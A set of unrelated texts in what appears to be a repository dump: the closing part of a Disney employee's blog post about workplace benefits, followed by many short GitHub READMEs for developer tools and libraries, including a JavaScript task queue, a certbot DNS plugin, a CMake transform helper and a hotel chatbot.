For those Cast Members reporting at least 25 hours of VoluntEARing in a given year, Disney provides cash grants to the non-profit of the Cast Member's choosing through its "Ears to You" program. Without going into too much detail, my efforts have been resulted in thousands of dollars being awarded to our local High School Band program.

## Matching Donations

Disney has a policy of matching charitable donations. Every dollar donated by a Cast Member to an eligible non-profit can be reported and matched by The Walt Disney Company.

# Education and Training

## Training Opportunities

My leadership executives expect each of the Cast Members reporting up to them to keep pace with current and emerging technologies. Mostly, each individual is in charge of what he or she wants to learn within a broad range of topics. Some may want to learn a new programming language. Some want to be "cloud certified." Others may pursue project management.

Disney provides a vast and diverse catalog of both self-paced and instructor-led training. Signing up for them is quick and easy. Course completion is recorded and posted to the Cast Member's employment records automatically.

As a technology Cast Member, I have experienced both sides of our many training opportunities. Not only have I taken advantage of countless courses, I have even been given the opportunity to create and lead classes and seminars.

A few years ago I was part of a team that organized our annual "Developer Days," an in-person technical conference for all of our technology Cast. This required months of preparation and coordination. We had to review and approve hundreds of conference talks, as well as come up with our own to present. The picture below is from my presentation on the Ionic Framework, given at Disney's Coronado Springs Resort and Convention Center.

![my presentation on the Ionic Framework, given at Disney's Coronado Springs Resort and Convention Center](https://walkingriver.com/assets/img/Mike-2016_devdays_session.jpg)

## Disney Aspire

There are many companies that provide educational reimbursement for college credits. Usually this requires the that employee receive management approval of both the school and the curriculum. Then the employee pays for the courses and books. At the end of the semester, assuming a minimum GPA has been met, the employee must then apply for (and hopefully receive) reimbursement.

Disney, as you might imagine, is different. Though salaried Cast Members do indeed go through the process I outlined above, hourly Cast Members have a different option: [Disney Aspire](http://aspire.disney.com/){:target="_blank"}. From the website:

> Disney pays 100% tuition up front at network schools for programs that include high school completion, language learning, skilled trade diplomas, undergraduate degrees, Master’s degrees, and more.

With Aspire, you don't get reimbursed. Disney pays for it. Furthermore, the degree you choose need not be one that is directly related to your current job.

# Are There Downsides?
Of course, things are not always perfect and blissful. Sometimes even a magical job with Disney can be just another job. Sometimes it can be less than magical. But even then, I would rather have a bad day here than anywhere else. Even when things are bad, the people at Disney have a way of helping to find the silver lining in the cloud.

A few years ago, I was informed that I had been transferred to a different team under the same manager. Our entire organization had undergone a major transformation. My former team had been dissolved and the six of us were sent off in different directions, based on our various skills. I returned to the news that I would henceforth be a Solutions Architect, which seemed to be a promotion. The trouble was I had no idea what a Solutions Architect did. I was a software developer (programmer, engineer, call it what you want). I express myself best through code, and that is where I was happy.

 As I learned more about the role of a Solutions Architect, it became quickly apparently that architecture is not my thing. As I said, I express myself through code, not architectural diagrams.

 Fortunately, my manager recognized this and did his best to try and help me improve my abilities as an architect. At the same time, he also went out of his way to find opportunities for me to work on projects that accentuated my strengths.

 One such opportunity arose when we heard that Disney's Magical Express would soon lose the use of all of its handheld devices by the end of the year. A small team of about five people was quickly assembled from various other teams. We were given a modest budget and told to do our best. We utilized the fledging Ionic Framework to build a complete replacement system under budget, and early. I talked more about this in [a podcast with Mike Hartington of Ionic](https://betontheweb.ionicframework.com/episodes/disney-world-and-ionic-with-michael-callaghan){:target="_blank"}.

 In the end, I realized that I would probably never be more than a mediocre architect, and did not want to risk being labeled as a mediocre individual. With my leader's support, I sought and found a job on another team as a Lead Software Engineer, where I have excelled ever since. (Honest, just ask anyone!)

# Bottom Line

I have worked for many companies, large and small, over the past three decades. Each has offered at least one of these types of benefits. None, however, has come close to the total experience of being a technology Cast Member at Walt Disney World.

Keep in mind that not everything I have described in these two posts will always be offered, or are always offered to everyone. There may also be other benefits I have never participated in. Everyone's experience is bound to be different.

That disclaimer aside, if I have inspired you to considering joining this amazing organization, I will direct you to the following resources. As I am writing this, we are right in the middle of the COVID-19 pandemic, Walt Disney World is in the process of reopening. The future is murky but looking better. Hiring is probably not a huge priority right now. That will not last forever, though.

If you think you have the skills and talents to join us, we will eventually have more technology jobs open.

- To see all of our technology job openings, visit [DisneyTech.com](https://jobs.disneycareers.com/technology){:target="_blank"}.
- For non-technology jobs, visit [DisneyCareers.com](https://jobs.disneycareers.com){:target="_blank"}.
- Finally, if you are a college student, consider looking into our professional internship opportunities at [DisneyInterns.com](https://jobs.disneycareers.com/professional-internships){:target="_blank"}.

gha_language: HTML


text:
# chunked-queue

Manage long-running tasks without losing interactivity

![tests](https://github.com/GlobeletJS/chunked-queue/actions/workflows/node.js.yml/badge.svg)

## Motivation
Long-running tasks in JavaScript can block the event loop. If another,
higher-priority task needs to run in the meantime, it will have to wait
until the current task is finished.

One solution for this is to break the long-running task into chunks. Then,
each chunk can be run in a [setTimeout][] callback. If a higher-priority task
comes up, it will be able to run in between the chunks.

chunked-queue manages the list of chunks for you. You can even give it
multiple lists of chunks, and set (and update) priorities for each list,
to make sure the most urgent task finishes first.

Instead of [setTimeout][], chunked-queue uses [zero-timeout][], to avoid the
[minimum delay][] between setTimeout callbacks.

[setTimeout]: https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout
[zero-timeout]: https://github.com/GlobeletJS/zero-timeout
[minimum delay]: https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#timers

## Usage
chunked-queue is provided as an ESM import.
```javascript
import * as chunkedQueue from 'chunked-queue';
```

To initialize a new queue, call the `init` method, with no parameters:
```javascript
const queue = chunkedQueue.init();
```

## API
The initialized queue object exposes four methods

### enqueueTask
```javascript
const taskId = queue.enqueueTask(newTask);
```

The supplied `newTask` object may have the following properties:
- `newTask.chunks` (REQUIRED): An array of zero-argument functions, in the
  order in which they are to be called. NOTE: These are assumed to be
  *synchronous*
- `newTask.getPriority` (OPTIONAL): A method that when called, returns a
  priority number for this task. Lower priority numbers will be run first.
  If not supplied, this task will be given a constant priority of 0.

The return value is an integer ID, which can later be used to cancel the task.

### cancelTask
```javascript
queue.cancelTask(taskId);
```
Cancels the task represented by the supplied taskId.

### sortTasks
```javascript
queue.sortTasks();
```
Sorts the tasks in the queue, according to the values returned by the
`.getPriority()` method on each task.

This lets you re-set the priorities of the tasks after they are queued.
Simply update the `.getPriority` methods to return smaller values for the
tasks which have become more urgent.

### countTasks
```javascript
numTasks = queue.countTasks();
```
Returns the number of tasks in the queue

repository: GlobeletJS/chunked-queue

branch_name: refs/heads/main

repo_name: GlobeletJS/chunked-queue


text:
# Python URL Shortener

This project is a simple URL Shortener like bit.ly or goo.gl using Python 3 with the microframework Flask.

## Getting Started

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system.

### Prerequisites

The whole app is dockerized, you will need docker to run it:

```
You can find a detailed information for your platform in the [oficial docs](https://docs.docker.com/install/)
```

### Installing

Here are the commands you have to use in order to run it locally:

There's a configuration file that contains all sensitive information related to the project, this was not commited, it is on a secure place and you need to ask for it before running it.

First you need to start the docker-machine:

```
docker-machine start

```

Then you run this to use the default machine:

```
eval "$(docker-machine env default)"

```
And then you build and deploy the code with this command:

```
docker-compose build [container] && docker-compose up -d
```

In order to get the local IP address in which the project is running you can check the machines with:

```
docker-machine ls
```

## Authors

* **Eury Pérez** - *Initial work* - [LinkedIn](https://www.linkedin.com/in/euryperez/)/[StackOverFlow](https://stackoverflow.com/users/5294761/eury-pérez-beltré)/[Blog](https://medium.com/@euryperez)

See also the list of [contributors](https://github.com/your/project/contributors) who participated in this project.


text:
####Automation Test Jira with Java and Selenium-WebDriver demo.

#####System client testing pre-requisites :
- Project has written in Java language with Selenium 2.0 : http://docs.seleniumhq.org/projects/webdriver/.
- Project has created in Eclipse Java EE IDE for Web Developers version: Luna Service Release 2 (4.4.2).
- Require OS has Java 7 and Firefox with newest release for stable run.

#####Functions :
- The tests verify funtions below for the “A Test Project” project in Atlassian’s public instance here: 'https://jira.atlassian.com/browse/TST'.
- New issues can be created.
- Existing issues can be updated.
- Existing issues can be found via JIRA’s search.

#####How to run the test :
- You can test runnable JAR file in "release-build" folder with command : "java -jar [path to jira-seleniumWebDriver-test.jar]".
- You can import project and run "TestManager.java" file.


text:
# ICO

ICO file format in Ruby

[![Gem Version](https://badge.fury.io/rb/ico.svg)](https://badge.fury.io/rb/ico)

## Usage

```
require 'ico'

# (soon)
```

## Installation

Command Line

```
gem install ico
```

Gemfile

```
gem "ico", "~>0.1"
```

## Development

(soon)

For more info, see: https://en.wikipedia.org/wiki/ICO_(file_format)

### Requirements

* [Bit-Struct](https://github.com/vjoel/bit-struct)
* [BMP](https://github.com/bordeeinc/bmp-ruby)

### Dev Requirements

* [hoe](https://github.com/seattlerb/hoe) gem manager
* [hoe-bundler] may need `gem install hoe-bundler` installation before using `rake bundler:gemfile`
* [YARD](http://yardoc.org) docs
* [redcarpet](https://github.com/vmg/redcarpet) for yardoc

    [hoe-bundler]: https://github.com/flavorjones/hoe-bundler

### Testing

Tests written with [minitest]

```
rake test
```

  [minitest]: https://github.com/seattlerb/minitest

### Contributing

Send tested code.
Thank you, [contributors]!

  [contributors]: https://github.com/bordeeinc/ico/graphs/contributors

### To Do

* (soon)

## License

MIT License

Copyright (c) 2017 Bordee Inc.

Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
'Software'), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:

The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

## About

![bordee](http://bordee.com/src/img/surf-with-bordee-github.png)

ICO is maintained and funded by Bordee Inc.
The names and logos for Bordee are trademarks of [Bordee Inc.][bordeeinc]

  [bordeeinc]: http://bordee.com

We love open source software!
See [our other projects][bordee-github]
and [check out Seattle.rb!][community]

  [bordee-github]: https://github.com/bordeeinc
  [community]: https://seattlerb.org

repository: bordeeinc/ico

repo_name: bordeeinc/ico


text:
---
code: true
type: page
title: getAutoRefresh
description: Returns the status of autorefresh flag
---

# getAutoRefresh

The getAutoRefresh action returns the current autorefresh status for the index.

Each index has an autorefresh flag.
When set to true, each write request trigger a [refresh](https://www.elastic.co/guide/en/elasticsearch/reference/5.6/docs-refresh.html) action on Elasticsearch.
Without a refresh after a write request, the documents may not be immediately visible in search.

:::info
A refresh operation comes with some performance costs.
While forcing the autoRefresh can be convenient on a development or test environment,
we recommend that you avoid using it in production or at least carefully monitor its implications before using it.
:::

## Signature

```cpp
bool getAutoRefresh(const std::string& index);

bool getAutoRefresh(const std::string& index, const kuzzleio::query_options& options);
```

## Arguments

| Arguments | Type                                 | Description   |
| --------- | ------------------------------------ | ------------- |
| `index`   |
const std::string&
        | Index name    |
| `options` |
kuzzleio::query_options\*
 | Query options |

### options

Additional query options

| Option     | Type
(default)           | Description                                                                  |
| ---------- | ---------------------------- | ---------------------------------------------------------------------------- |
| `queuable` |
bool

(`true`) | If true, queues the request during downtime, until connected to Kuzzle again |

## Return

A boolean indicating the status of the **autoRefresh** flag.

## Exceptions

Throws a `kuzzleio::KuzzleException` if there is an error. See how to [handle error](/sdk/cpp/1/essentials/error-handling).

## Usage

<<< ./snippets/getAutoRefresh.cpp

repository: kuzzleio/sdk-cpp

repo_name: kuzzleio/sdk-cpp


text:
# std-terraform

![std-terraform](logo.png)

Standard Library Meets Terraform for a Slack and Web Application Integration

## Getting Started

Get started with IaC on GCP with a Slack Bot and Web Application integration to track your infrastrucutre as code with stdlib and Terraform

### Installing

Clone the github repository and create a GCP Project.
Plug the project id in terraform.tfvars

Add custom modules and resources for your custom needs

## Deployment

Deployment is done through a Github Mirroring Google Cloud Build CI/CD Pipeine

## Built With

* [Terraform](https://www.terraform.io/) - IaC Framework
* [Stdlib](https://stdlib.com/) - Standard Library Repo
* [Google Cloud Platform](http://console.cloud.google.com/) - Cloud Platform

## Authors

* **Sujeethan Vigneswaran**

## License

This project is licensed under the MIT License - see the [LICENSE.md](LICENSE.md) file for details

repository: ItsSujee/std-terraform

repo_name: ItsSujee/std-terraform


text:
- Chrome:
  - Open Chrome
  - Type chrome://net-internals/#hsts in the address bar of chrome
  - Query domain: if it appears as a result, it is HSTS enabled

- Firefox:
  -Open file explorer
  - Copy paste %APPDATA%\Mozilla\Firefox\Profiles\ in the address bar of file explorer (for Linux it is ~/.mozilla/firefox)
  - Double click the folder you see (if you have multiple FF profiles, there will be multiple folders)
  - Open SiteSecurityServiceState.txt. This textfile contains sites that have enabled HSTS.

filename: Remove HSTS.md


text:
# Changelog
All notable changes to this project will be documented in this file.

The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).

## [Unreleased]
- Add support to edit existing Monitors
- Add support to delete existing Monitors
- Add support to add new Alert Contacts
- Add support to edit existing Alert Contacts
- Add support to delete existing Alert Contacts
- Add support to add new Maintenance Windows
- Add support to edit existing Maintenance Windows
- Add support to delete existing Maintenance Windows
- Add support to add new Public Status Pages
- Add support to edit existing Public Status Pages
- Add support to delete existing Public Status Pages
- Make the module work as a standalone script

## [0.2.1] - 2018-06-28
Some work was made toward improving the collection of monitors by type, status, etc..

### Added
- `.add_monitor` to add new monitors
- `.add_http_monitor` to add http/https monitors
- `.add_ping_monitor` to add ping monitors
- `.add_port_monitor` to add port monitors
- File `add_monitor.py` to serve as example of what can be achieved

### Changed
- `Changelog` texts to be more clear
- FIX: `get_monitor_by_status` is now working properly
- FIX: `get_monitor_by_type` is now working properly

## [0.1.0] - 2018-06-18
This is functional module already, one can query all the information regarding `account`, `monitors`, `alert contacts`, `maintenance windows` and `public status pages`.

Also, the functions are all well documented, containing all the possible parameters that can be used to each of the queries available.

### Added
- Add `constants` file to hold parameters options and other constants that will be used

### Changed
- Renamed some internal usage methods to differentiate from the public ones
- Improved documentation on the existing methods
- The importing of some libraries
- `.get_monitors_by_name`: Changed validation if a monitor was recovered
- `.get_monitors_by_id`: Changed validation if a monitor was recovered
- Changed the name of the methods to a more pythonic naming:
    - `.getMonitors` -> `.get_monitors`
    - `.getAccountDetails` -> `.get_account_details`
    - `.getAlertContacts` -> `.get_alert_contacts`
    - `.getMWindows` -> `.get_mwindows`
    - `.getPSPs` -> `.get_psps`

## 0.0.1 - 2018-06-15

The very beginning of this module, it arrives with all possible queries already done.  There are few documentation regarding the class and methods being implemented.

### Added
- Initial commit
- Config file to host API key and other options
- All read only API calls are implemented:
  - `getMonitors`
  - `getAccountDetails`
  - `getAlertContacts`
  - `getMWindows`
  - `getPSPs`

[0.2.1]: https://gitlab.com/fboaventura/upytimerobot/compare/0.1.0...0.2.1
[0.1.0]: https://gitlab.com/fboaventura/upytimerobot/compare/0.0.1...0.1.0
[Unreleased]: https://gitlab.com/fboaventura/upytimerobot/compare/0.0.1...master

repository: fboaventura/upytimerobot

repo_name: fboaventura/upytimerobot


text:
# Features

Here is a short overview of Field's key features.

## Metadata editor

![idai-field](img/README-FEATURES-1.png)

Available categories and their fields can be edited in the app.

## Geometry editor

![idai-field](img/README-FEATURES-2.png)

Geo information can be imported or created directly in app.

## Matrix

![idai-field](img/README-FEATURES-8.png)

A Harris style matrix is automatically calculated for every trench
from its stratigraphical units and their temporal or spatial relations.

## Image management

![idai-field](img/README-FEATURES-5.png)

Enables you to import photos or drawings and associate
them with resources. Also lets you import
maps to provide a visual context to your resources.

## Synchronization

![idai-field](img/README-FEATURES-7.png)

Multiple clients can be synced to each other to edit the same data on the field site.
Syncing can also be done to a database server to collect the project's records
on a single central system later on.

## Table view

![idai-field](img/README-FEATURES-3.png)

Using the list view, one can batch edit multiple items quickly.

## Nesting

![idai-field](img/README-FEATURES-4.png)

Nesting resources in resources, as for example finds in contexts,
makes navigation and finding resources easy.

repository: dainst/idai-field

gha_language: TypeScript

repo_name: dainst/idai-field


text:
# CMake Transform

CMake Transform is a collection of CMake functions for transforming files by piping them through a command.

## Usage

To add a transform target that will transform a list of source files by piping their content through a command:

    add_transform(<transform_name>
      COMMAND <command>
      SOURCES <files>...)

This also creates targets for each transformed file. To extract the names of the transformed file targets:

    get_transformed(<transform_name> <output_variable>
      SOURCES <files>...)

## Example

Given a text file `test.txt`:

    The old man said "GREETING" to the dog. The dog responded in kind: "GREETING".

We can create a transform target in our `CMakeLists.txt` that substitutes the text `GREETING` with `Hello` and then, for demonstration purposes, add a post-build command that prints the transformed file contents:

    include(transform.cmake)

    set(input_file test.txt)

    add_transform(substitute
      COMMAND sed -e 's/GREETING/Hello/g'
      SOURCES ${input_file})

    get_transformed(substitute transformed_test_file
      SOURCES ${input_file})

    add_custom_command(
      TARGET substitute
      POST_BUILD
      COMMAND cat ${CMAKE_CURRENT_SOURCE_DIR}/${transformed_test_file})

If we then run `cmake` on the directory with these files and then `make substitute`, we see the following output:

    Scanning dependencies of target substitute
    [100%] Generating CMakeFiles/transform_gen/substitute/test.txt
    The old man said "Hello" to the dog. The dog responded in kind: "Hello".
    [100%] Built target substitute

repository: sftrabbit/cmake-transform

repo_name: sftrabbit/cmake-transform


text:
# Swagger UI AWS API Gateway

This module is branched from [swagger-ui-express](https://www.npmjs.com/package/swagger-ui-express). It allows you to serve auto-generated [swagger-ui](https://swagger.io/tools/swagger-ui/) generated API docs from the AWS API Gateway. It uses Lambda functions to generate the API docs based on a `swagger.json` or `swagger.yaml` file. The result is living documentation for your API hosted on your AWS API Gateway.

Swagger version is pulled from npm module swagger-ui-dist. Please use a lock file or specify the version of swagger-ui-dist you want to ensure it is consistent across environments.

You may be also interested in:

* [swagger tools](https://github.com/swagger-api): Various tools, including swagger editor, swagger code gen etc.

## Usage

Install using npm:

```bash
$ npm install swagger-ui-aws-apigateway
```

Configure your API Gateway:
* Create a resource of type "proxy resource"
* Create a method ANY
* Create a lambda function of type "LAMBDA_PROXY"

In your AWS lambda function, include this package as follows:

```javascript
const swaggerUi = require('swagger-ui-aws-apigateway');
const fs = require('fs');

// read your yaml file and initialize
const swaggerDocument = fs.readFileSync('./interface/service_interface.yaml');
var swaggerHandler = swaggerUi.setup(swaggerDocument);

// call the swagger api doc in your handler

exports.handler = (event, context, callback) => {

   if (event.path.includes("/api-docs")) {
        console.log("Got request to the api docs.");
        swaggerHandler(event, context, callback);
        return;
    }

    // ... your other code ...

}
```

## Restrictions

Currently the path in the url must be named "api-docs".

## Requirements

* Node v0.10.32 or above

repository: MiguelCaro-SB/swagger-ui-aws-apigateway

repo_name: MiguelCaro-SB/swagger-ui-aws-apigateway


text:
# Text Marker
Text Marker is a lexical analysis library for identifying regions of text according to the custom rules supplied.  It accepts a string and array of rules as input and produces an tree of token objects for output.

## Use Cases
Since the library only returns regular javascript objects it is not tied to a specific rendering framework. While this introduces a requirement to implement your own view component to render the tokens, it leaves the library flexible enough so that you can apply the same rules to parsing text when you eventually need to swap out your view library or have to operate in a mixed environment that uses multiple rendering frameworks.

Since Text Marker only outputs plain javascript objects the tokens can be parsed & cached before a view render is called. This can allow you to render more efficiently since you dont have to parse your tokens again every time you are asked to render your text. For an example please see **[the rendering example](./examples/render.html)**

Pros:
  - Flexible and extensible via middleware and plain javascript.
  - Supports defining a simple mark up language and identifying patterns in text.
  - View agnostic.

 Cons:
  - Probably overkill if all you need is a simple word highlighter.
  - You need to write you own view to render the token tree. You can refer to **[the rendering example](./examples/render.html)**

## Basic usage
Text Marker exposes an object with methods that provides basic functionality. See below to get started and the **[examples](https://github.com/Paul-Guerra/text-marker/tree/master/examples)** page for more details.

### textMarker.parse
Accepts accepts a string and arrays of rules and middleware and returns an tree of tokens.
````javascript
  let tokens = textMarker.parse('I have a *block* token', [rules], [middleware]);
````

### textMarker.block
Blocks are visible characters that should be REPLACED by tokens. It accepts an object with open and close string properties and a name for the token. If a close property is not provided it will default to the same value as the open property. By default blocks will only detect a match if it finds both and opening AND matching closing string. Blocks are case insensitive.

````javascript
let openAndCloseTags = {open: '*', close: '*'};
let name = 'MyBlock';
let blockRule = textMarker.block(openAndCloseTags, name);
let tokens = textMarker.parse('I have a *block* token', [blockRule]);
````

Since blocks will only detect a match if it finds both and opening AND matching closing string, in the example below no block tokens will be found.

````javascript
let openAndCloseTags = {open: '*', close: '*'};
let name = 'MyBlock';
let blockRule = textMarker.block(openAndCloseTags, name);
let tokens = textMarker.parse('I have a * no block tokens', [blockRule]);
````

The block function can also accept a regular expression, instead of a string as it's first argument. When providing your own regular expression please note:
- Blocks are pairs and the pattern is expected to match the beginning and end tokens as a group.
- The regular expression MUST wrap the open match as the first group and close match as the second group.
- An unoptimized regular expression MAY have adverse performance affects based on the size of the text being parsed and how greedy the regular expression match is.

#### Reserved Block Names
When giving your block a name please note that "TABLE", "TABLE_ROW" and "TABLE_CELL" have a special meaning. See [Nesting in Tables](#nesting-in-tables)

### textMarker.range
Ranges are patterns of text that need to be wrapped by tokens. They do not replace any text. For example, you would use a range if you want to define a word to be highlighted. Ranges are case insensitive.

````javascript
let name = 'MyHighlight';
let rangeRule = textMarker.range('foo', name);
let tokens = textMarker.parse('I have foo range tokens', [rangeRule]);
````

The range function can also accept a regular expression, instead of a string as it's first argument.

### textMarker.keyword
Keywords are special characters that will be replaced by a token. This can be useful if you want to replace certain words with other forms of output (images, etc.) or trigger other effects.

````javascript
let name = 'MyKeyword';
let keywordRule = textMarker.keyword('foo', name);
let tokens = textMarker.parse('I have a foo keyword token', [keywordRule]);
````

you can also pass in an array of strings. This may be useful if, for example, you want both :) and :P to resolve as an emoticon token but you dont want to make a separate rule for each string.

````javascript
let name = 'MyKeyword';
let keywordRules = textMarker.keyword(['foo', 'bar'], name);
let tokens = textMarker.parse('I have a foo bar keyword tokens', [keywordRules]);
````

Keywords must be words separated by spaces from their neighbors or by themselves on a line. They will not match if embedded in another word. The following example will not match a keyword

````javascript
let name = 'MyKeyword';
let keywordRules = textMarker.keyword(['FOO', name);
let tokens = textMarker.parse('I have no match forFOObecause it was not a standalone word', [keywordRules]);
````

### textMarker.symbol
Symbols are VERY similar to keywords except on how they match. A symbol will match anywhere it is found, even if it is part of a larger word.

````javascript
let name = 'MySymbol';
let symbolRule = textMarker.symbol('FOO', name);
let tokens = textMarker.parse('I have aFOOsymbol token', [symbolRule]);
````

## Overlapping blocks and ranges
Text Marker will also ensure the generated tokens are properly nested and do not overlap with each other. If it does detect overlapping blocks or ranges of text it will attempt insert tokens that create a valid tree. It makes it easier to work with libraries like React that require a component to be valid html.

Basically, it will provide a token tree to help prevent you from rendering this
````
<b>foo <u>bar</b> baz</u>
````
and instead help you render this
````
<b>foo <u>bar</u></b><u> baz</u>
````

### Nesting in Tables
If a block or range span is not closed when an end of a TABLE_CELL (token.name === 'TABLE_CELL') is parsed it will automatically be closed and not continued.

## Modules
Text Marker supports CommonJS, AMD and good old fashioned script tags.

## Middleware
Middleware is an array of functions applied prior to searching for any tokens. Each middleware function will receive a text string as an argument and is expected to return a text string. The test provided in the argument may be the original text supplied or the output of the middleware that executed earlier.

If any middleware throws and error Text Marker will stop executing all middleware and apply the provided token rules using the **original** text supplied to the parse function.

See the [middleware example](https://github.com/Paul-Guerra/text-marker/blob/master/examples/middleware.html) for more details

## Custom Attributes
The keyword, block and range rule functions accept an optional third arguments. It is expected to be an object. If the setAttributes property is a function, it will be passed a regular expression match result. The return value of that function will be assigned to the node attributes property. This can be useful for relating metadata to a node.

repository: renanandreola/text-marker

repo_name: renanandreola/text-marker


text:
certbot-dns-leaseweb
====================

A certbot plugin that automates the process of completing a dns-01 challenge
using Leaseweb's [Domain API](https://developer.leaseweb.com/api-docs/domains_v2.html).

Install
-------

`certbot-dns-leaseweb` should be installed via pip, in the same python
environment in which `certbot` is installed:

```
pip install certbot-dns-leaseweb
```

Usage
------

Use the following flags to `certbot` to use and control this plugin:

| Option | Description |
|--------|-------------|
| `--authenticator dns-leaseweb` | **required**, enable and use this plugin. |
| `--dns-leaseweb-credentials` | **required**, Leaseweb API credentials INI file. |
| `--dns-leaseweb-propagation-seconds` | optional, seconds to wait for DNS records to propagate. |

Credentials
------------

A suitable API token can be generated from https://secure.leaseweb.com/api-client-management/.

The token should then be stored in an INI file:

```
dns_leaseweb_api_token = notarealtoken
```

**CAUTION**: These API credentials should be carefully protected from exposure
and unauthorised access.

They could be used to complete DNS challenges, allowing potentially unauthorised
parties to obtain or revoke certificates for your domains.

Examples
--------

Obtain a wildcard certificate for `example.com`:

```
certbot certonly \
  --authenticator dns-leaseweb \
  --dns-leaseweb-credentials leaseweb.ini \
  -d '*.example.com'
```

Obtain a wildcard certificate for `example.com`, with extra time for propagation:

```
certbot certonly \
  --authenticator dns-leaseweb \
  --dns-leaseweb-credentials leaseweb.ini \
  --dns-leaseweb-propagation-seconds 600 \
  -d '*.example.com'
```

Docker
------

If you prefer to run certbot with the `dns-leaseweb` plugin in docker, you can
build a suitable image with `make image`.

The image comes with a partially-completed CLI as its entrypoint:

```
/usr/local/bin/certbot \
  --authenticator=dns-leaseweb \
  --dns-leaseweb-credentials=/etc/letsencrypt/credentials/leaseweb.ini
```

You will need to create a suitable credentials file for the plugin at
`/etc/letsencrypt/credentials/leaseweb.ini` for the instructions below to work.

You can then use it as:

```
docker run --rm -ti \
  --volume "/etc/letsencrypt:/etc/letsencrypt" \
  --volume "/var/lib/letsencrypt:/var/lib/letsencrypt" \
  certbot-dns-leaseweb:latest \
    certonly \
      --dns-leaseweb-propagation-seconds 600 \
      -d '*.example.com'
```

Issues and development
-----------------------

Please report any issues (or improvement suggestions) at https://gitlab.com/iwaseatenbyagrue/certbot-dns-leaseweb/-/issues.

If you want to hack on this project, please make sure you run tests and linting
on your code:

```
make test
```

Thanks
------

To [Letsencrypt](https://letsencrypt.org/), and the EFF for [certbot](https://certbot.eff.org/).

This plugin is adapted from https://github.com/ctrlaltcoop/certbot-dns-hetzner,
whose README was also the template for this file.

https://github.com/m42e/certbot-dns-ispconfig was also consulted during
development of this plugin.

repository: iwaseatenbyagrue/certbot-dns-leaseweb

repo_name: iwaseatenbyagrue/certbot-dns-leaseweb


text:
[![Build Status](https://travis-ci.org/gugacavalieri/stryker-meteor-integration.svg?branch=master)](https://travis-ci.org/gugacavalieri/stryker-meteor-integration)
[![Mutation testing badge](https://badge.stryker-mutator.io/github.com/gugacavalieri/stryker-meteor-integration/master)](https://stryker-mutator.github.io)

# Integrating [Stryker](https://stryker-mutator.io) with [Meteor](https://www.meteor.com/) ![Open Source Love](https://badges.frapsoft.com/os/v3/open-source.svg?v=103)

  LIKED ? Leave a ⭐ : 😞

## Requirements

* We have to mock the Meteor Framework in our unit tests using [testdouble.js](https://github.com/testdouble/testdouble.js)
* ([you can read more in here](http://www.petecorey.com/blog/2016/05/02/meteor-unit-testing-with-testdoublejs/?from=east5th.co))
* We have to use Babel along with Stryker to transpile our code (see stryker.conf.js)

## How to Run Tests

Install Project:

    npm i

Unit Tests:

    npm test

Mutation Tests:

    npm run test-stryker

## .babelrc File

We use a `.babelrc` in the root of the project to make Meteor and Mocha compile in the same way. The file used here follows [these recommendations](https://forums.meteor.com/t/announcing-meteor-1-3-4-1-and-1-4-beta-1/25460/8?u=rdickert). There are a few compromises that you will have to live with in your Meteor app as a result of this:

* It won't allow you to use nested import declarations.
* [You cannot use absolute import paths](https://forums.meteor.com/t/announcing-meteor-1-3-4-1-and-1-4-beta-1/25460/10?u=rdickert) from your project root (Node will read it as being the root of your filesystem)

There may be a way to improve this further using `meteor-babel/register` - [here is an example](https://github.com/meteor/babel/blob/master/test/register.js). A PR that makes this work would be welcome! Regardless, it seems likely that this situation will improve as Meteor migrates to NPM.


text:
# feed-reader
Get feeds from RSS

 This PHP class read and display feeds from a given RSS url.
 input: RSS URL, number of feed to display.

Requirements
    php >= 5.4.0

Installation
    just copy the class to your classes folder

Basic Usage
	$rss=  new feedreader( "https://www.lavanguardia.com/rss/home.xml", 10);

Inputs:
   RSS url, number of items

Working sample:
https://intelector.com/leer-rss-2/

repository: jpdelaye/feed-reader

repo_name: jpdelaye/feed-reader


text:
## Microsoft Bot Framework Implementation
### for the case of a hotel business

**Scope**: A chatbot 🤖 that serves hotel's needs (_JavaScript SDK v4_).

**Goals**:
1. Functionality to answer QnA related to the hotel (_for example What time can i check in?, Which is the charging policy for limousine service?, Can I use any fitness equipment during my accommodation?, etc_).
1. Functionality to answer QnA related to general staff (_for example How are you?, What are you?, What can you do?, etc._).
1. Functionality to query for available room at the hotel's management system having firstly collected the necessary details with one of the following ways:
	1. By collecting the necessary details through a dialog (_What date do you desire check in?, What date do you desire check out?, What room category do you desire?, How many rooms do you want?_)
	1. By extracting all the necessary details from a customer prompt statement (_for example Can i book two Deluxe Single rooms check in date 10 August and check out date 15 August?, I want ten Junior Suite Unter den Linden from 8 August to 28 August, etc_)

### Development Process

In order to create a chatbot that achieves the above functionality goals we started with adjustments of official [BotBuilder Samples](https://github.com/microsoft/BotBuilder-Samples/tree/main/samples/javascript_nodejs) for the [Bot Framework](https://docs.microsoft.com/en-us/azure/bot-service/index-bf-sdk?view=azure-bot-service-4.0):

**NLP Bot**
- [repo](https://github.com/microsoft/BotBuilder-Samples/tree/main/samples/javascript_nodejs/14.nlp-with-orchestrator)
- [Code documentation](https://docs.microsoft.com/en-us/azure/bot-service/bot-builder-tutorial-dispatch?view=azure-bot-service-4.0&tabs=js)

